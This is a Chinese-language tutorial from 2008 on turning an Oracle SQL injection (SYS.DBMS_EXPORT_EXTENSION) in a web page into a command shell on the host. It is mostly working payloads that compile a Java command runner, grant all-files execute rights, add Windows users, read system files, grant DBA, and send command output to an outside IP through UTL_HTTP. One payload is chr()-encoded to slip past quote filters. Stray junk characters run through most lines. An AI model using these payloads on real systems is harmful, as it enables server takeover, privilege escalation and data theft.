+ {# {5 C6 p; g) ]7 w2 u
( O- I# s5 X9 B* e# I介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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Q2 \: L, E/ ]0 z1 [2 B" D- @以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成- M6 u% z0 i& X. g
# ~( c3 S s4 l. b; I4 C/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
2 ^0 r4 M: U8 h4 ]' J5 P! [0 L% E1 J: z" T8 i( i( d) F1 {
的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长，可能要用post提交。; {2 ^& e I% k! A4 N" o% h! a
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+ F2 B+ B' M" V以下是各个步骤：* N Q9 @4 ^* V Z: Q+ v2 F6 [( p1 I
: y( R' B b4 }; X" c) F$ A1.创建包
. Q! i* w7 z; D$ C4 A- {! m+ c; l8 M通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：2 p7 G: \0 F7 N. k
- s7 v k9 x5 ^0 B5 R/xxx.jsp?id=1 and '1'<>'a'||(' E& C* i/ M+ L7 A
1 I4 u4 ~+ \ M9 Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ I6 P& v% R+ @& V% ?* C9 q6 @+ s1 P
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 g- t9 w2 r8 `7 ^! u9 Znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' e- T! L* ]) \5 z}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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: `5 K* {* U5 _- r! m. U------------------------
/ ^! l9 E$ ~; `& Q如果url有长度限制，可以把readFile()函数块去掉，即：
6 W! `* r9 h" v- p: D. X/xxx.jsp?id=1 and '1'<>'a'||(
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h' I; B4 a/ O) Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 T9 {+ P7 J8 q! p
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
- {, z& i. d* `2 w' O& i9 L; `new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
- W2 q/ o+ A- s3 k1 `}'''';END;'';END;--','SYS',0,'1',0) from dual
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+ x6 |& @; G1 E- u8 U7 s同时把后面步骤 提到的 对readFile()的处理语句去掉。
7 y# @2 a7 n& X/ S; m% [------------------------------
& H8 B/ ~# e6 `9 W- L' X
, F9 f; O j# q( t2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 J" u! l! s( A5 _6 M& T! x
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3.创建函数8 |7 M J. A" `; g; U
5 O$ u3 w, [6 L" ?$ v& }9 S- O; q- sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& O+ ?; [7 W" v3 o5 C2 ycreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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/ f; T3 _& k! m, _4 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* a/ X, I! d' _' ^8 i2 zcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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$ J- N/ H+ x! B, G1 q4.赋public执行函数的权限8 o: r5 O! ~7 v. B) y
. ^" i7 l7 J- w+ K9 t9 V7 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual/ _: q; n( r; S
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual& `/ k+ W7 g2 ?6 X+ |: j
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5.测试上面的几步是否成功9 j/ l* `) Y7 W* r
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and '1'<>'11'||(& Y9 I4 u0 P* u) w
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'3 b9 a% c5 {7 e" i! k& J- _
)
1 H9 i; |( I; ?( g" Q# r
1 x3 N' n+ H* l. Zand '1'<>(
# w! ]: ^5 n. kselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'' }& L u7 w' \. h7 e) v1 Z
)
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1 {$ V3 }% C3 t; X! ~/ k% ^6.执行命令：8 f9 r, U# B) s' J
- g1 H: v: D: x; V: R: O( K0 ^/xxx.jsp?id=1 and '1'<>() X3 H. y/ Z6 n
select sys.LinxRunCMD('cmd /c net user linx /add') from dual3 q4 g7 x0 V- |3 u( Z) z
)
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/xxx.jsp?id=1 and '1'<>(. k7 O0 D$ g! Z# d# V0 z2 H
select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。$ d5 P6 o1 n5 d& }) ?
如果要查看运行结果可以用 union :
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4 v$ g! _% H/ i9 v& c; D, z# z2 Y/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:* S! D9 g: ^9 s( U
, `) g9 x1 v" H% i, ]2 |/xxx.jsp?id=1 and '1'<>(& W2 c- n' K4 E: j% B- c
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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1 Z* i1 f4 }2 f4 e
/xxx.jsp?id=1 and '1'<>(
4 G5 Y8 H, G: ?( O' ySELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual1 K1 {- S1 W8 x- k! z7 O: J9 }$ ~5 m
)
2 b; J1 d1 m G, g' g9 I! \2 d, F6 a0 Z- x5 S- j& u1 I4 W
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
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" _9 B! j0 x5 @+ Y9 h--------------------. m9 X( L1 }3 ?/ Z6 _* R
' f% d# N7 c4 v1 @5 o" J6.内部变化" W2 i3 g# q& d. m& v3 k3 M
通过以下命令可以查看all_objects表达改变：' R; Z4 {* p E! G7 N% ]% R4 ?
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'! S9 W, E. M$ r. {
- ~, d: O; `# y5 k4 t8 E4 S2 T7.删除我们创建的函数" [( j9 z! A! ?9 j! c+ X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- X1 z% |. F: V# e! C# Pdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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, J" ~0 ~% j% }- r8 ~. {; Z p2 o: q! L$ F====================================================
' v: L0 a1 ?" V全文结束。谨以此文赠与我的朋友。
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3 J9 j( y6 d* G* \$ G8 E+ x7 J8 ^linx! ~% B9 w7 W" j3 l+ j4 h% @
124829445
# a3 b: m8 Q: r+ U, ^. s: w, o2008.1.12
+ ]; z' O% m" H- g9 mlinyujian@bjfu.edu.cn, s% N, o* r- n: R, C
+ J) y' M7 F% H8 L* ^& O7 w. C
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======================================================================
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测试漏洞的另一方法：0 S. R s0 s; P$ Y/ r. u+ o6 e
+ E7 F( b" D; S2 }) P* W
创建oracle帐号：$ T$ N7 O# X/ w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 o( z4 z! U! m& v0 f
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即： Z- ^. k! n, Y* A1 y6 I+ I+ w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),4 t, i- a. ^( `% f
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
* n6 h" R; [7 s0 j5 @9 O. }( e7 |- x) g( A& V( L+ L3 a+ ~
确定漏洞存在：
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$ R4 o& k; M3 G5 V8 p) {( h# _select user_id from all_users where username='LINXSQL'
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+ K. I3 s9 g' \* F d" X6 S" X5 R" ^& Q% {* T% l6 {4 t1 \/ G( W
给linxsql连接权限：1 o$ \; o& f! V( c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 w5 h- V* |. H; z+ H
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual2 Z, H4 J8 H# [. Y- M1 A- T
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删除帐号：
; Y/ N% I# |% @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ o9 E) g% e7 x Zdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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" `, D& x' z4 C* L, N# x======================
/ P6 f( j1 f& l/ L! |4 M7 n- F( D% F9 K9 \
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
+ `+ e. {9 o% I# S( H
0 N% r0 W, Z2 ~1.jsp?id=1 and '1'<>(
0 K, U- V) A9 r2 r! {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 }9 {+ \6 G$ ^) z/ p, Dcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual' h( _4 J8 p4 \
) and ...$ y& j0 |) e9 L% n% M# h: \) G
6 [* [7 i+ ^ P7 G; i( x1.jsp?id=1 and '1'<>(
4 d9 [1 `" Q7 R+ M! U- ]" xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual2 X: h3 ^- c& R' |+ r
) and ...
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/ Q. n9 @: E+ [1 W1 e( b! E1.jsp?id=1 and '1'<>(. M: H- i- z1 C, b4 @( \
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
5 u, m0 q- ~# C2 b: V" @) and ...
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+ \" R& `% t2 R: p3 r1.jsp?id=1 and '1'<>(4 _% M, j' j8 g8 w
SELECT sys.Linx_Query('declare pragma
: D8 L _5 H9 j& Dautonomous_transaction; begin execute immediate ''2 r# i+ I" v/ U
select 1 from dual7 R0 S2 u0 y3 s# Y# u% j2 w
''; commit; end;') from dual A- x4 `* H4 L9 z0 T
) and ...( |2 Y5 X2 M# z3 K5 {7 B
3 d( Q a0 u# s! p a2 X+ V8 D% ]* b多语句：
& e3 Z& g7 _2 h% {: QSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限，否则无法成功)：
* { S; @6 M0 O- Y7 h/ bSELECT sys.Linx_Query('declare pragma
; Q8 J+ j: r; R) q! ]! T) ~autonomous_transaction; begin execute immediate ''
8 m7 E! R/ w' K2 ~* }9 UCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User$ n+ {8 ]2 ` h9 Q
''; commit; end;') from dual
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================! _1 f' j0 T* l7 W: h2 o3 M# ~
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()7 ?% x" k0 Q- L G
$ I/ m% C9 y( J$ e" U1.创建函数
6 F% K0 ^0 i; S$ Y" R; Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" q; L' C7 a3 Q3 m3 r+ a0 u5 n, `6 @
create or replace function Linx_Query (p
9 j5 A8 M6 i% l# I! e/ hvarchar2) return number authid current_user is begin execute immediate2 Z: c" Q9 _; L4 P4 V6 B& u% ^3 ]
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual; b0 o: R& l. i- ?5 b1 t0 ^$ z
7 S- a9 r8 y2 |0 O如果有权限，以下语句应该允许正常: i7 Z) j9 s8 {! U. W
select sys.linx_query('select 1 from dual') from dual;
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1 Z7 K/ Z, B$ e c' d' s不然的话运行：
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* h" t7 T/ d( H p7 M% m$ U! }: `0 c
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包
$ |: G; b; L4 a4 R4 rSELECT sys.Linx_Query('declare pragma
# a& F5 L; s$ G: Y' \autonomous_transaction; begin execute immediate ''
+ P' O, Z: }5 ?9 U; Jcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(3 D; P* Q5 H6 j: n9 _6 J
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
G% ^" M& _2 ]3 @% {
" Y, p3 \( _7 l4 r3.创建函数
4 E, J7 A7 U( [0 ]+ p' ySELECT sys.Linx_Query('declare pragma
- _4 G1 e% V; N; rautonomous_transaction; begin execute immediate ''0 |' {. z2 K: l E
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
) s3 @+ G6 {+ {& J* }5 P. I) l
/ r5 d- Q: B( S& J. O0 N7 e. L4.给权限& U' j$ Q, }3 L' J9 ?, m {
给用户SYSTEM执行权限：
% Q3 D& A5 v- f$ d7 M" f/ U9 h: q5 T! ]: {( a
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
, |( |4 o `- q( w' _9 i
# p1 ]/ G+ }4 r' O3 b
' R6 ~, q7 i1 b/ h7 H5 W, r; x1 x6 q* _" r8 `
5.执行函数1 E' R9 ?1 P6 ?; F
select RunCMD2('cmd /c dir') from dual9 h* r: H- v- p
2 J/ Z9 T. s; f/ S8 w, W$ [0 s; W, ^+ X& w" z, f
( F/ b% V/ b2 o
% R8 x! n _2 _( o0 b9 y# @& S% _ \$ @* U6 f7 T' O, F- b
==================
& R4 O! c0 [& O, r, C================================
% \! a* _2 x5 h6 o' R+ `$ h$ w3 u; V% I/ A
以下是无 " ' " 版：
8 o0 {1 C! k, R9 Z$ n; v( i
6 D& G" F4 b6 @, E7 g' y以下是各个步骤：) K) t, j' O3 B! U+ f4 ~/ e: g
4 _ Q' V# R7 P* x' P
1.创建包
/ T7 y7 D$ E5 c通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：' F5 A& p8 g" c4 A% B5 ]
因为建立了两个函数，转换为ascii后，语句更长了，注意提交时不要把换行去掉，否则执行不成功的：
7 a. U8 p$ T, t* ~* t( v7 z
3 [7 n+ R% E3 d ~. @% g8 @: x/xxx.jsp?id=1 and chr(49)<>chr(50)||(
5 V w. B4 z5 f5 f3 B4 C5 M( ^ K% ]; o3 N8 ]0 [$ K5 v) _6 S# [" p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( a; }1 X+ x' \& J% l/ o3 Y7 s7 l
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
# ?8 X1 M' g1 ~2 a# V: |chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
/ \. W. e% @, T) _& w$ Achr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||7 ~/ d% ^7 Q5 _4 r; M+ e% X9 K
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
4 S9 y0 R* L5 z8 R& W& D3 ^& tchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
0 L1 v+ q* m3 z" i, C2 X3 }chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
, J9 {5 d5 }5 { _! ychr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||% W, G; D( i5 T' d* h- T6 y
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||7 l3 m4 @7 z9 z6 K7 [4 E+ {
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
1 B( E* G. t: Y7 s( j- m/ d y0 nchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
' P- b# K3 h+ t# z9 F. Ychr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
* J; @: g5 `/ O! N) Mchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
# t: F! F2 z/ O5 V" y0 Dchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
/ `( f; u1 ]! t4 ^2 V5 Gchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||$ X; d, `& V$ a( k% t
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
* {3 q% [' F. p$ \* Dchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||+ l, L( H; p. y; N; u; ]
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||- g( v1 L+ E0 j; X. X5 W9 ^7 w
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
: [" w! s7 x# Ochr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
1 Y3 }- v% ~" J6 g5 `5 F/ Achr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
2 U7 n! m0 R8 Z0 q9 Schr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||4 Q9 B! s+ i I8 [/ g5 ?
